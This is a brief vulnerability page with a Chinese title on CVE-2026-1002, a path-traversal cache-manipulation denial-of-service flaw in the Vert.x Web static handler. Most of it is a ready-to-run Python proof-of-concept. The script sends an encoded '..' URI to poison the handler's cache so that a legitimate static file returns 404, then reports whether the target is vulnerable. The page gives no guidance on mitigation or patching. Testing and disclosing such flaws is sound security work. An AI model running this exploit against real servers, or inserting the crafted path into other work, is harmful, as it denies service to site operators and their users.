CVE-2026-1002: Eclipse Vert.x Web静态处理器路径遍历拒绝服务漏洞

# CVE-2026-1002 PoC - Vert.x Web Static Handler Cache Manipulation # This PoC demonstrates how to deny access to static files using crafted URI import requests def exploit_cve_2026_1002(target_url): """ Target: Vert.x Web application with Static Handler caching enabled Attack: Manipulate cache to deny access to static files Example: - Legitimate URL: https://example.com/foo/index.html - Malicious URL: https://example.com/foo/bar%2F..%2Findex.html """ # Original accessible file original_path = "/foo/index.html" # Crafted URI with path traversal encoding # %2F = encoded '/', %2E%2E = encoded '..' manipulated_path = "/foo/bar%2F..%2Findex.html" print(f"[*] Testing CVE-2026-1002 on {target_url}") # Step 1: Verify original file is accessible response1 = requests.get(target_url + original_path) print(f"[+] Original request status: {response1.status_code}") # Step 2: Send crafted request to manipulate cache response2 = requests.get(target_url + manipulated_path) print(f"[*] Crafted request status: {response2.status_code}") # Step 3: Try accessing original file again (should return 404 if vulnerable) response3 = requests.get(target_url + original_path) print(f"[-] Original file after attack: {response3.status_code}") if response3.status_code == 404: print("[!] VULNERABLE: Access to static file has been denied!") return True else: print("[+] NOT VULNERABLE: File still accessible") return False # Example usage if __name__ == "__main__": target = "https://vulnerable-vertx-app.com" exploit_cve_2026_1002(target)